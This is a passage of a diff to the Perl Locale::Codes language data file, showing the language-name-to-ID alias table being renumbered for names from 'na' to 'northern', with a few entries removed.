+      q(5135),
       q(0),
       ],
    q(nagumi) => [
-      q(4848),
+      q(4846),
       q(0),
       ],
    q(naha'ai) => [
-      q(4381),
+      q(4380),
       q(1),
       ],
    q(nahali) => [
-      q(4952),
+      q(4950),
       q(0),
       ],
    q(nahari) => [
-      q(4860),
+      q(4858),
       q(0),
       ],
    q(nahavaq) => [
-      q(6139),
+      q(6140),
       q(1),
       ],
    q(nahuatl languages) => [
-      q(0299),
+      q(0298),
       q(0),
       ],
    q(nai) => [
-      q(1220),
+      q(1219),
       q(0),
       ],
    q(najdi arabic) => [
-      q(0880),
+      q(0879),
       q(0),
       ],
    q(naka'ela) => [
-      q(4715),
+      q(4714),
       q(0),
       ],
    q(nakai) => [
-      q(4924),
+      q(4922),
       q(0),
       ],
    q(nakame) => [
-      q(4876),
+      q(4874),
       q(0),
       ],
    q(nakanai) => [
-      q(4719),
+      q(4718),
       q(0),
       ],
    q(nakara) => [
-      q(4764),
+      q(4763),
       q(0),
       ],
    q(nake) => [
-      q(4741),
+      q(4740),
       q(0),
       ],
    q(naki) => [
-      q(4222),
+      q(4221),
       q(0),
       ],
    q(nakwi) => [
-      q(4729),
+      q(4728),
       q(0),
       ],
    q(nalca) => [
-      q(4940),
+      q(4938),
       q(0),
       ],
    q(nali) => [
-      q(5076),
+      q(5072),
       q(0),
       ],
    q(nalik) => [
-      q(4720),
+      q(4719),
       q(0),
       ],
    q(nalogo) => [
-      q(4954),
+      q(4952),
       q(0),
       ],
    q(nalu) => [
-      q(4718),
+      q(4717),
       q(0),
       ],
    q(naluo yi) => [
-      q(7669),
+      q(7666),
       q(0),
       ],
    q(nama (namibia)) => [
-      q(4724),
+      q(4723),
       q(1),
       ],
    q(nama (papua new guinea)) => [
-      q(4978),
+      q(4976),
       q(0),
       ],
    q(namakura) => [
-      q(4965),
+      q(4963),
       q(0),
       ],
    q(namat) => [
-      q(4926),
+      q(4924),
       q(0),
       ],
    q(nambo) => [
-      q(4766),
+      q(4765),
       q(0),
       ],
    q(nambya) => [
-      q(4971),
+      q(4969),
       q(0),
       ],
    q(namia) => [
-      q(4993),
+      q(4991),
       q(0),
       ],
    q(namiae) => [
-      q(5125),
+      q(5121),
       q(0),
       ],
    q(namibian sign language) => [
-      q(4748),
+      q(4747),
       q(0),
       ],
    q(namla) => [
-      q(4712),
+      q(4711),
       q(0),
       ],
    q(namo) => [
-      q(4662),
+      q(4661),
       q(0),
       ],
    q(namonuito) => [
-      q(4974),
+      q(4972),
       q(0),
       ],
    q(namosi-naitasiri-serua) => [
-      q(1542),
+      q(1541),
       q(0),
       ],
    q(namuyi) => [
-      q(4979),
+      q(4977),
       q(0),
       ],
    q(nanai) => [
-      q(2542),
+      q(2540),
       q(0),
       ],
    q(nancere) => [
-      q(4983),
+      q(4981),
       q(0),
       ],
    q(nande) => [
-      q(4982),
+      q(4980),
       q(0),
       ],
    q(nandi) => [
-      q(4889),
+      q(4887),
       q(0),
       ],
    q(nanerige senoufo) => [
-      q(5965),
+      q(5964),
       q(0),
       ],
    q(nanga dama dogon) => [
-      q(5179),
+      q(5175),
       q(0),
       ],
    q(nankina) => [
-      q(4991),
+      q(4989),
       q(0),
       ],
    q(nanti) => [
-      q(1825),
+      q(1824),
       q(0),
       ],
    q(nanticoke) => [
-      q(4999),
+      q(4997),
       q(0),
       ],
    q(nanubae) => [
-      q(0645),
+      q(0644),
       q(0),
       ],
    q(napo lowland quechua) => [
-      q(5700),
+      q(5698),
       q(0),
       ],
    q(napu) => [
-      q(5036),
+      q(5033),
       q(0),
       ],
    q(nar phu) => [
-      q(5025),
+      q(5023),
       q(0),
       ],
    q(nara) => [
-      q(5045),
+      q(5041),
       q(0),
       ],
    q(narak) => [
-      q(4714),
+      q(4713),
       q(0),
       ],
    q(narango) => [
-      q(5049),
+      q(5045),
       q(0),
       ],
    q(narau) => [
-      q(5149),
+      q(5145),
       q(0),
       ],
    q(nari nari) => [
-      q(5824),
+      q(5823),
       q(0),
       ],
    q(narim) => [
@@ -44307,387 +44257,387 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(naro) => [
-      q(4868),
+      q(4866),
       q(0),
       ],
    q(narom) => [
-      q(5053),
+      q(5049),
       q(0),
       ],
    q(narragansett) => [
-      q(7427),
+      q(7424),
       q(0),
       ],
    q(narrinyeri) => [
-      q(4730),
+      q(4729),
       q(0),
       ],
    q(narua) => [
-      q(5058),
+      q(5054),
       q(0),
       ],
    q(narungga) => [
-      q(4997),
+      q(4995),
       q(0),
       ],
    q(nasal) => [
-      q(5082),
+      q(5078),
       q(0),
       ],
    q(nasarian) => [
-      q(5124),
+      q(5120),
       q(0),
       ],
    q(naskapi) => [
-      q(5069),
+      q(5065),
       q(0),
       ],
    q(natanzi) => [
-      q(5098),
+      q(5094),
       q(0),
       ],
    q(nataoran amis) => [
-      q(0709),
+      q(0708),
       q(0),
       ],
    q(natchez) => [
-      q(4776),
+      q(4774),
       q(0),
       ],
    q(nateni) => [
-      q(5090),
+      q(5086),
       q(0),
       ],
    q(nathembo) => [
-      q(5085),
+      q(5081),
       q(0),
       ],
    q(natioro) => [
-      q(5087),
+      q(5083),
       q(0),
       ],
    q(natugu) => [
-      q(5094),
+      q(5090),
       q(0),
       ],
    q(nauete) => [
-      q(5137),
+      q(5133),
       q(0),
       ],
    q(naukan yupik) => [
-      q(7695),
+      q(7692),
       q(0),
       ],
    q(nauna) => [
-      q(4767),
+      q(4766),
       q(0),
       ],
    q(nauo) => [
-      q(5133),
+      q(5129),
       q(0),
       ],
    q(nauru) => [
-      q(0302),
+      q(0301),
       q(0),
       ],
    q(navaho) => [
-      q(0303),
+      q(0302),
       q(1),
       ],
    q(navajo) => [
-      q(0303),
+      q(0302),
       q(0),
       ],
    q(navut) => [
-      q(5080),
+      q(5076),
       q(0),
       ],
    q(nawaru) => [
-      q(5134),
+      q(5130),
       q(0),
       ],
    q(nawathinehena) => [
-      q(5127),
+      q(5123),
       q(0),
       ],
    q(nawdm) => [
-      q(4980),
+      q(4978),
       q(0),
       ],
    q(nawuri) => [
-      q(4728),
+      q(4727),
       q(0),
       ],
    q(naxi) => [
-      q(5147),
+      q(5143),
       q(0),
       ],
    q(nayi) => [
-      q(5024),
+      q(5022),
       q(0),
       ],
    q(nayini) => [
-      q(5163),
+      q(5159),
       q(0),
       ],
    q(ncane) => [
-      q(4771),
+      q(4769),
       q(0),
       ],
    q(nchumbulu) => [
-      q(4949),
+      q(4947),
       q(0),
       ],
    q(nda'nda') => [
-      q(5004),
+      q(5002),
       q(0),
       ],
    q(ndai) => [
-      q(2536),
+      q(2534),
       q(0),
       ],
    q(ndaka) => [
-      q(4786),
+      q(4784),
       q(0),
       ],
    q(ndaktup) => [
-      q(4769),
+      q(4768),
       q(0),
       ],
    q(ndali) => [
-      q(4783),
+      q(4781),
       q(0),
       ],
    q(ndam) => [
-      q(4788),
+      q(4786),
       q(0),
       ],
    q(ndamba) => [
-      q(4785),
+      q(4783),
       q(0),
       ],
    q(ndambomo) => [
-      q(5146),
+      q(5142),
       q(0),
       ],
    q(ndasa) => [
-      q(4777),
+      q(4775),
       q(0),
       ],
    q(ndau) => [
-      q(4779),
+      q(4777),
       q(0),
       ],
    q(nde-gbite) => [
-      q(4803),
+      q(4801),
       q(0),
       ],
    q(nde-nsele-nta) => [
-      q(4780),
+      q(4778),
       q(0),
       ],
    q(ndebele, north) => [
-      q(0305),
+      q(0304),
       q(0),
       ],
    q(ndebele, south) => [
-      q(0304),
+      q(0303),
       q(0),
       ],
    q(ndemli) => [
-      q(4966),
+      q(4964),
       q(0),
       ],
    q(ndendeule) => [
-      q(2095),
+      q(2094),
       q(0),
       ],
    q(ndengereko) => [
-      q(4782),
+      q(4780),
       q(0),
       ],
    q(nding) => [
-      q(2241),
+      q(2240),
       q(0),
       ],
    q(ndo) => [
-      q(4790),
+      q(4788),
       q(0),
       ],
    q(ndobo) => [
-      q(4796),
+      q(4794),
       q(0),
       ],
    q(ndoe) => [
-      q(4733),
+      q(4732),
       q(0),
       ],
    q(ndogo) => [
-      q(4799),
+      q(4797),
       q(0),
       ],
    q(ndolo) => [
-      q(4787),
+      q(4785),
       q(0),
       ],
    q(ndom) => [
-      q(5040),
+      q(5036),
       q(0),
       ],
    q(ndombe) => [
-      q(4791),
+      q(4789),
       q(0),
       ],
    q(ndonde hamba) => [
-      q(4900),
+      q(4898),
       q(0),
       ],
    q(ndonga) => [
-      q(0306),
+      q(0305),
       q(0),
       ],
    q(ndoola) => [
-      q(4792),
+      q(4790),
       q(0),
       ],
    q(ndra'ngith) => [
-      q(2011),
+      q(2010),
       q(0),
       ],
    q(nduga) => [
-      q(4797),
+      q(4795),
       q(0),
       ],
    q(ndumu) => [
-      q(4958),
+      q(4956),
       q(0),
       ],
    q(ndunda) => [
-      q(5105),
+      q(5101),
       q(0),
       ],
    q(ndunga) => [
-      q(4793),
+      q(4791),
       q(0),
       ],
    q(ndut) => [
-      q(4795),
+      q(4793),
       q(0),
       ],
    q(ndyuka-trio pidgin) => [
-      q(4910),
+      q(4908),
       q(0),
       ],
    q(ndzwani comorian) => [
-      q(7173),
+      q(7171),
       q(0),
       ],
    q(neapolitan) => [
-      q(0301),
+      q(0300),
       q(0),
       ],
    q(nedebang) => [
-      q(4802),
+      q(4800),
       q(0),
       ],
    q(nefamese) => [
-      q(4805),
+      q(4803),
       q(0),
       ],
    q(negerhollands) => [
-      q(1971),
+      q(1970),
       q(0),
       ],
    q(negeri sembilan malay) => [
-      q(7869),
+      q(7866),
       q(0),
       ],
    q(negidal) => [
-      q(4806),
+      q(4804),
       q(0),
       ],
    q(nehan) => [
-      q(5072),
+      q(5068),
       q(0),
       ],
    q(nek) => [
-      q(4879),
+      q(4877),
       q(0),
       ],
    q(nekgini) => [
-      q(4921),
+      q(4919),
       q(0),
       ],
    q(neko) => [
-      q(4809),
+      q(4807),
       q(0),
       ],
    q(neku) => [
-      q(4810),
+      q(4808),
       q(0),
       ],
    q(nelemwa-nixumwak) => [
-      q(4804),
+      q(4802),
       q(0),
       ],
    q(nema) => [
-      q(2634),
+      q(2632),
       q(0),
       ],
    q(neme) => [
-      q(4820),
+      q(4818),
       q(0),
       ],
    q(nemi) => [
-      q(4811),
+      q(4809),
       q(0),
       ],
    q(nen) => [
-      q(5041),
+      q(5037),
       q(0),
       ],
    q(nend) => [
-      q(0797),
+      q(0796),
       q(0),
       ],
    q(nenets) => [
-      q(7724),
+      q(7721),
       q(0),
       ],
    q(nenge) => [
-      q(2060),
+      q(2059),
       q(2),
       ],
    q(nengone) => [
-      q(4812),
+      q(4810),
       q(0),
       ],
    q(neo) => [
-      q(4818),
+      q(4816),
       q(0),
       ],
    q(neo-hittite) => [
-      q(4808),
+      q(4806),
       q(0),
       ],
    q(nepal bhasa) => [
-      q(0309),
+      q(0308),
       q(0),
       ],
    q(nepalese sign language) => [
-      q(5073),
+      q(5069),
       q(0),
       ],
    q(nepali) => [
-      q(0308),
+      q(0307),
       q(0),
       ],
    q(nepali (individual language)) => [
-      q(5029),
+      q(5027),
       q(0),
       ],
    q(nepali (macrolanguage)) => [
-      q(0308),
+      q(0307),
       q(1),
       ],
    q(nepali kurux) => [
@@ -44695,11 +44645,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(nete) => [
-      q(4817),
+      q(4815),
       q(0),
       ],
    q(neve'ei) => [
-      q(7027),
+      q(7026),
       q(1),
       ],
    q(neverver) => [
@@ -44707,71 +44657,71 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(new caledonian javanese) => [
-      q(3053),
+      q(3050),
       q(0),
       ],
    q(new zealand sign language) => [
-      q(5176),
+      q(5172),
       q(0),
       ],
    q(newari) => [
-      q(0309),
+      q(0308),
       q(1),
       ],
    q(neyo) => [
-      q(4821),
+      q(4819),
       q(0),
       ],
    q(nez perce) => [
-      q(4822),
+      q(4820),
       q(0),
       ],
    q(ngaanyatjarra) => [
-      q(5088),
+      q(5084),
       q(0),
       ],
    q(ngabere) => [
-      q(2700),
+      q(2698),
       q(0),
       ],
    q(ngad'a) => [
-      q(5140),
+      q(5136),
       q(0),
       ],
    q(ngadjunmaya) => [
-      q(4911),
+      q(4909),
       q(0),
       ],
    q(ngadjuri) => [
-      q(3151),
+      q(3149),
       q(0),
       ],
    q(ngaing) => [
-      q(4986),
+      q(4984),
       q(0),
       ],
    q(ngaju) => [
-      q(4883),
+      q(4881),
       q(0),
       ],
    q(ngala) => [
-      q(5101),
+      q(5097),
       q(0),
       ],
    q(ngalakan) => [
-      q(4880),
+      q(4878),
       q(0),
       ],
    q(ngalum) => [
-      q(6336),
+      q(6337),
       q(0),
       ],
    q(ngam) => [
-      q(4957),
+      q(4955),
       q(0),
       ],
    q(ngamambo) => [
-      q(4751),
+      q(4750),
       q(0),
       ],
    q(ngambay) => [
@@ -44779,51 +44729,51 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ngamini) => [
-      q(4976),
+      q(4974),
       q(0),
       ],
    q(ngamo) => [
-      q(4738),
+      q(4737),
       q(0),
       ],
    q(ngan'gityemerri) => [
-      q(4721),
+      q(4720),
       q(0),
       ],
    q(nganakarti) => [
-      q(7422),
+      q(7419),
       q(0),
       ],
    q(nganasan) => [
-      q(4888),
+      q(4886),
       q(0),
       ],
    q(ngandi) => [
-      q(4877),
+      q(4875),
       q(0),
       ],
    q(ngando (central african republic)) => [
-      q(4831),
+      q(4829),
       q(0),
       ],
    q(ngando (democratic republic of congo)) => [
-      q(5138),
+      q(5134),
       q(0),
       ],
    q(ngandyera) => [
-      q(4985),
+      q(4983),
       q(0),
       ],
    q(ngangam) => [
-      q(2570),
+      q(2568),
       q(0),
       ],
    q(ngantangarra) => [
-      q(5086),
+      q(5082),
       q(0),
       ],
    q(nganyaywana) => [
-      q(5170),
+      q(5166),
       q(0),
       ],
    q(ngardi) => [
@@ -44831,511 +44781,503 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ngarigu) => [
-      q(7421),
+      q(7418),
       q(0),
       ],
    q(ngarinman) => [
-      q(4740),
+      q(4739),
       q(0),
       ],
    q(ngarinyin) => [
-      q(6901),
+      q(6900),
       q(0),
       ],
    q(ngarla) => [
-      q(5051),
+      q(5047),
       q(0),
       ],
    q(ngarluma) => [
-      q(5052),
+      q(5048),
       q(0),
       ],
    q(ngas) => [
-      q(0793),
+      q(0792),
       q(0),
       ],
    q(ngasa) => [
-      q(5066),
+      q(5062),
       q(0),
       ],
    q(ngatik men's creole) => [
-      q(4839),
+      q(4837),
       q(0),
       ],
    q(ngawn chin) => [
-      q(1804),
+      q(1803),
       q(0),
       ],
    q(ngawun) => [
-      q(5145),
+      q(5141),
       q(0),
       ],
    q(ngayawung) => [
-      q(5130),
+      q(5126),
       q(0),
       ],
    q(ngazidja comorian) => [
-      q(7820),
+      q(7817),
       q(0),
       ],
    q(ngbaka) => [
-      q(4828),
+      q(4826),
       q(0),
       ],
    q(ngbaka ma'bo) => [
-      q(4742),
+      q(4741),
       q(0),
       ],
    q(ngbaka manza) => [
-      q(4833),
+      q(4831),
       q(0),
       ],
    q(ngbee) => [
-      q(3083),
+      q(3081),
       q(0),
       ],
    q(ngbinda) => [
-      q(4735),
+      q(4734),
       q(0),
       ],
    q(ngbundu) => [
-      q(5118),
+      q(5114),
       q(0),
       ],
    q(ngelima) => [
-      q(0660),
+      q(0659),
       q(0),
       ],
    q(ngemba) => [
-      q(4832),
-      q(0),
-      ],
-   q(ngendelengo) => [
-      q(5039),
+      q(4830),
       q(0),
       ],
    q(ngeq) => [
-      q(4846),
-      q(1),
+      q(4844),
+      q(0),
       ],
    q(ngete) => [
-      q(4994),
+      q(4992),
       q(0),
       ],
    q(nggem) => [
-      q(4746),
+      q(4745),
       q(0),
       ],
    q(nggwahyi) => [
-      q(4850),
+      q(4848),
       q(0),
       ],
    q(ngie) => [
-      q(4836),
+      q(4834),
       q(0),
       ],
    q(ngiemboon) => [
-      q(4988),
+      q(4986),
       q(0),
       ],
    q(ngile) => [
-      q(3113),
+      q(3111),
       q(0),
       ],
    q(ngindo) => [
-      q(4996),
+      q(4994),
       q(0),
       ],
    q(ngiti) => [
-      q(4896),
+      q(4894),
       q(0),
       ],
    q(ngizim) => [
-      q(4835),
+      q(4833),
       q(0),
       ],
    q(ngkalmpw kanum) => [
-      q(3211),
+      q(3209),
       q(0),
       ],
    q(ngom) => [
-      q(5044),
+      q(5040),
       q(0),
       ],
    q(ngomba) => [
-      q(3086),
+      q(3084),
       q(0),
       ],
    q(ngombale) => [
-      q(4939),
+      q(4937),
       q(0),
       ],
    q(ngombe (central african republic)) => [
-      q(4964),
+      q(4962),
       q(0),
       ],
    q(ngombe (democratic republic of congo)) => [
-      q(4830),
+      q(4828),
       q(0),
       ],
    q(ngongo) => [
-      q(5017),
+      q(5015),
       q(0),
       ],
    q(ngoni) => [
-      q(4841),
+      q(4839),
       q(0),
       ],
    q(ngoreme) => [
-      q(4843),
+      q(4841),
       q(1),
       ],
    q(ngoshie) => [
-      q(5067),
+      q(5063),
       q(0),
       ],
    q(ngul) => [
-      q(4947),
+      q(4945),
       q(0),
       ],
    q(ngulu) => [
-      q(4842),
+      q(4840),
       q(0),
       ],
    q(nguluwan) => [
-      q(5120),
+      q(5116),
       q(0),
       ],
    q(ngumbi) => [
-      q(5106),
+      q(5102),
       q(0),
       ],
    q(ngunawal) => [
-      q(7520),
+      q(7517),
       q(0),
       ],
    q(ngundi) => [
-      q(4789),
+      q(4787),
       q(0),
       ],
    q(ngundu) => [
-      q(5102),
+      q(5098),
       q(0),
       ],
    q(ngungwel) => [
-      q(4852),
+      q(4850),
       q(0),
       ],
    q(nguon) => [
-      q(5112),
+      q(5108),
       q(0),
       ],
    q(ngurimi) => [
-      q(4843),
+      q(4841),
       q(0),
       ],
    q(ngurmbur) => [
-      q(5059),
+      q(5055),
       q(0),
       ],
    q(ngwaba) => [
-      q(4849),
+      q(4847),
       q(0),
       ],
    q(ngwe) => [
-      q(5129),
+      q(5125),
       q(0),
       ],
    q(ngwo) => [
-      q(4840),
+      q(4838),
       q(0),
       ],
    q(nhanda) => [
-      q(4853),
+      q(4851),
       q(0),
       ],
    q(nhengatu) => [
-      q(7725),
+      q(7722),
       q(0),
       ],
    q(nhirrpi) => [
-      q(2834),
+      q(2832),
       q(0),
       ],
    q(nhuwala) => [
-      q(4858),
+      q(4856),
       q(0),
       ],
    q(nias) => [
-      q(0310),
+      q(0309),
       q(0),
       ],
    q(nicaragua creole english) => [
-      q(1622),
+      q(1621),
       q(0),
       ],
    q(nicaraguan sign language) => [
-      q(4772),
+      q(4770),
       q(0),
       ],
    q(nicarao) => [
-      q(5570),
+      q(5566),
       q(1),
       ],
    q(niellim) => [
-      q(4878),
+      q(4876),
       q(0),
       ],
    q(niger-kordofanian languages) => [
-      q(0311),
+      q(0310),
       q(0),
       ],
    q(nigeria mambila) => [
-      q(4696),
+      q(4695),
       q(0),
       ],
    q(nigerian fulfulde) => [
-      q(2391),
+      q(2390),
       q(0),
       ],
    q(nigerian pidgin) => [
-      q(5389),
+      q(5385),
       q(0),
       ],
    q(nigerian sign language) => [
-      q(5068),
+      q(5064),
       q(0),
       ],
    q(nihali) => [
-      q(4946),
+      q(4944),
       q(0),
       ],
    q(nii) => [
-      q(4882),
+      q(4880),
       q(0),
       ],
    q(niksek) => [
-      q(2421),
+      q(2420),
       q(0),
       ],
    q(nila) => [
-      q(4885),
+      q(4883),
       q(0),
       ],
    q(nilamba) => [
-      q(4886),
+      q(4884),
       q(0),
       ],
    q(nilo-saharan languages) => [
-      q(0407),
+      q(0406),
       q(0),
       ],
    q(nimadi) => [
-      q(5008),
+      q(5006),
       q(0),
       ],
    q(nimanbur) => [
-      q(4970),
+      q(4968),
       q(0),
       ],
    q(nimbari) => [
-      q(4972),
+      q(4970),
       q(0),
       ],
    q(nimboran) => [
-      q(4890),
+      q(4888),
       q(0),
       ],
    q(nimi) => [
-      q(4891),
+      q(4889),
       q(0),
       ],
    q(nimo) => [
-      q(4894),
+      q(4892),
       q(0),
       ],
    q(nimoa) => [
-      q(4977),
+      q(4975),
       q(0),
       ],
    q(ninam) => [
-      q(6002),
+      q(6001),
       q(0),
       ],
    q(ninde) => [
-      q(4625),
+      q(4624),
       q(1),
       ],
    q(nindi) => [
-      q(5141),
+      q(5137),
       q(0),
       ],
    q(ningera) => [
-      q(4753),
+      q(4752),
       q(0),
       ],
    q(ninggerum) => [
-      q(5148),
+      q(5144),
       q(0),
       ],
    q(ningil) => [
-      q(4897),
+      q(4895),
       q(0),
       ],
    q(ningye) => [
-      q(4998),
+      q(4996),
       q(0),
       ],
    q(ninia yali) => [
-      q(4945),
+      q(4943),
       q(0),
       ],
    q(ninzo) => [
-      q(4887),
+      q(4885),
       q(0),
       ],
    q(nipsan) => [
-      q(5033),
+      q(5031),
       q(0),
       ],
    q(nisa) => [
-      q(4909),
+      q(4907),
       q(0),
       ],
    q(nisenan) => [
-      q(5083),
+      q(5079),
       q(0),
       ],
    q(nisga'a) => [
-      q(4760),
+      q(4759),
       q(0),
       ],
    q(nisi (china)) => [
-      q(7737),
+      q(7734),
       q(0),
       ],
    q(niuafo'ou) => [
-      q(5110),
+      q(5106),
       q(0),
       ],
    q(niuatoputapu) => [
-      q(4929),
+      q(4927),
       q(0),
       ],
    q(niuean) => [
-      q(0312),
+      q(0311),
       q(0),
       ],
    q(nivacle) => [
-      q(1643),
+      q(1642),
       q(0),
       ],
    q(niwer mil) => [
-      q(2829),
+      q(2827),
       q(0),
       ],
    q(njalgulgule) => [
-      q(4904),
+      q(4902),
       q(0),
       ],
    q(njebi) => [
-      q(5173),
+      q(5169),
       q(0),
       ],
    q(njen) => [
-      q(4903),
+      q(4901),
       q(0),
       ],
    q(njerep) => [
-      q(4908),
+      q(4906),
       q(0),
       ],
    q(njyem) => [
-      q(4913),
+      q(4911),
       q(0),
       ],
    q(nkami) => [
-      q(4930),
+      q(4928),
       q(0),
       ],
    q(nkangala) => [
-      q(4927),
+      q(4925),
       q(0),
       ],
    q(nkari) => [
-      q(4938),
+      q(4936),
       q(0),
       ],
    q(nkem-nkum) => [
-      q(3000),
+      q(2997),
       q(0),
       ],
    q(nkhumbi) => [
-      q(3346),
+      q(3345),
       q(0),
       ],
    q(nkongho) => [
-      q(4917),
+      q(4915),
       q(0),
       ],
    q(nkonya) => [
-      q(4928),
+      q(4926),
       q(0),
       ],
    q(nkoroo) => [
-      q(4937),
+      q(4935),
       q(0),
       ],
    q(nkoya) => [
-      q(4915),
+      q(4913),
       q(0),
       ],
    q(nkukoli) => [
-      q(4744),
+      q(4743),
       q(0),
       ],
    q(nkutu) => [
-      q(4936),
+      q(4934),
       q(0),
       ],
    q(nnam) => [
-      q(4745),
+      q(4744),
       q(0),
       ],
    q(no linguistic content) => [
-      q(0486),
+      q(0485),
       q(0),
       ],
    q(nobiin) => [
-      q(2342),
+      q(2341),
       q(0),
       ],
    q(nobonob) => [
-      q(2416),
+      q(2415),
       q(0),
       ],
    q(nocaman) => [
-      q(5015),
+      q(5013),
       q(0),
       ],
    q(nocte naga) => [
-      q(4899),
+      q(4897),
       q(0),
       ],
    q(nogai) => [
-      q(0315),
-      q(0),
-      ],
-   q(noipx) => [
-      q(5035),
+      q(0314),
       q(0),
       ],
    q(noiri) => [
-      q(5011),
+      q(5009),
       q(0),
       ],
    q(nokuku) => [
-      q(4925),
+      q(4923),
       q(0),
       ],
    q(nomaande) => [
@@ -45343,31 +45285,31 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(nomane) => [
-      q(5009),
+      q(5007),
       q(0),
       ],
    q(nomatsiguenga) => [
-      q(5019),
+      q(5017),
       q(0),
       ],
    q(nomlaki) => [
-      q(5014),
+      q(5012),
       q(0),
       ],
    q(nomu) => [
-      q(5010),
+      q(5008),
       q(0),
       ],
    q(nong zhuang) => [
-      q(7832),
+      q(7829),
       q(0),
       ],
    q(nonuya) => [
-      q(5012),
+      q(5010),
       q(0),
       ],
    q(nooksack) => [
-      q(5013),
+      q(5011),
       q(0),
       ],
    q(noon) => [
@@ -45375,71 +45317,71 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(noone) => [
-      q(4870),
+      q(4868),
       q(0),
       ],
    q(nopala chatino) => [
-      q(1924),
+      q(1923),
       q(0),
       ],
    q(nora) => [
-      q(5056),
+      q(5052),
       q(1),
       ],
    q(noric) => [
-      q(5046),
+      q(5042),
       q(0),
       ],
    q(norn) => [
-      q(5054),
+      q(5050),
       q(0),
       ],
    q(norra) => [
-      q(5056),
+      q(5052),
       q(0),
       ],
    q(norse, old) => [
-      q(0316),
+      q(0315),
       q(0),
       ],
    q(north alaskan inupiatun) => [
-      q(2290),
+      q(2289),
       q(0),
       ],
    q(north ambrym) => [
-      q(4389),
+      q(4388),
       q(0),
       ],
    q(north american indian languages) => [
-      q(0300),
+      q(0299),
       q(0),
       ],
    q(north asmat) => [
-      q(4932),
+      q(4930),
       q(0),
       ],
    q(north awyu) => [
-      q(7642),
+      q(7639),
       q(0),
       ],
    q(north azerbaijani) => [
-      q(1017),
+      q(1016),
       q(0),
       ],
    q(north babar) => [
-      q(1068),
+      q(1067),
       q(0),
       ],
    q(north bolivian quechua) => [
-      q(5679),
+      q(5677),
       q(0),
       ],
    q(north caucasian languages) => [
-      q(0496),
+      q(0495),
       q(0),
       ],
    q(north central mixe) => [
-      q(4814),
+      q(4812),
       q(0),
       ],
    q(north efate) => [
@@ -45447,39 +45389,39 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(north fali) => [
-      q(2353),
+      q(2352),
       q(0),
       ],
    q(north germanic languages) => [
-      q(0507),
+      q(0506),
       q(0),
       ],
    q(north giziga) => [
-      q(2522),
+      q(2520),
       q(0),
       ],
    q(north junin quechua) => [
-      q(5699),
+      q(5697),
       q(0),
       ],
    q(north levantine arabic) => [
-      q(0836),
+      q(0835),
       q(0),
       ],
    q(north marquesan) => [
-      q(4514),
+      q(4513),
       q(0),
       ],
    q(north mesopotamian arabic) => [
-      q(1005),
+      q(1004),
       q(0),
       ],
    q(north mofu) => [
-      q(4227),
+      q(4226),
       q(0),
       ],
    q(north moluccan malay) => [
-      q(4118),
+      q(4117),
       q(0),
       ],
    q(north muyu) => [
@@ -45487,15 +45429,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(north ndebele) => [
-      q(0305),
+      q(0304),
       q(1),
       ],
    q(north nuaulu) => [
-      q(4989),
+      q(4987),
       q(0),
       ],
    q(north picene) => [
-      q(5055),
+      q(5051),
       q(0),
       ],
    q(north slavey) => [
@@ -45511,35 +45453,35 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(north wahgi) => [
-      q(7110),
+      q(7108),
       q(0),
       ],
    q(north watut) => [
-      q(6899),
+      q(6898),
       q(0),
       ],
    q(northeast kiwai) => [
-      q(3371),
+      q(3370),
       q(0),
       ],
    q(northeast maidu) => [
-      q(4975),
+      q(4973),
       q(0),
       ],
    q(northeast pashai) => [
-      q(0628),
+      q(0627),
       q(0),
       ],
    q(northeast pashayi) => [
-      q(0628),
+      q(0627),
       q(1),
       ],
    q(northeastern dinka) => [
-      q(2042),
+      q(2041),
       q(0),
       ],
    q(northeastern pomo) => [
-      q(5404),
+      q(5400),
       q(0),
       ],
    q(northeastern thai) => [
@@ -45547,11 +45489,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(northern alta) => [
-      q(0864),
+      q(0863),
       q(0),
       ],
    q(northern altai) => [
-      q(0929),
+      q(0928),
       q(0),
       ],
    q(northern amami-oshima) => [
@@ -45559,11 +45501,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(northern bai) => [
-      q(1139),
+      q(1138),
       q(1),
       ],
    q(northern betsimisaraka malagasy) => [
-      q(1315),
+      q(1314),
       q(0),
       ],
    q(northern binukidnon) => [
@@ -45571,87 +45513,83 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(northern bobo madare) => [
-      q(1053),
+      q(1052),
       q(0),
       ],
    q(northern bontok) => [
-      q(5750),
+      q(5748),
       q(0),
       ],
    q(northern catanduanes bikol) => [
-      q(1894),
+      q(1893),
       q(0),
       ],
    q(northern conchucos ancash quechua) => [
-      q(5716),
+      q(5714),
       q(0),
       ],
    q(northern dagara) => [
-      q(2005),
+      q(2004),
       q(0),
       ],
    q(northern dong) => [
-      q(2109),
+      q(2108),
       q(0),
       ],
    q(northern east cree) => [
-      q(1848),
+      q(1847),
       q(0),
       ],
    q(northern embera) => [
-      q(2254),
+      q(2253),
       q(0),
       ],
    q(northern frisian) => [
-      q(0141),
+      q(0140),
       q(0),
       ],
    q(northern ghale) => [
-      q(2502),
+      q(2501),
       q(0),
       ],
    q(northern gondi) => [
-      q(2577),
+      q(2575),
       q(0),
       ],
    q(northern grebo) => [
-      q(2431),
+      q(2430),
       q(0),
       ],
    q(northern guiyang hmong) => [
-      q(2857),
+      q(2855),
       q(0),
       ],
    q(northern guiyang miao) => [
-      q(2857),
+      q(2855),
       q(1),
       ],
    q(northern haida) => [
-      q(2736),
+      q(2734),
       q(0),
       ],
    q(northern hindko) => [
-      q(2804),
+      q(2802),
       q(0),
       ],
    q(northern huishui hmong) => [
-      q(2782),
+      q(2780),
       q(0),
       ],
    q(northern huishui miao) => [
-      q(2782),
+      q(2780),
       q(1),
       ],
    q(northern kalapuya) => [
-      q(5057),
+      q(5053),
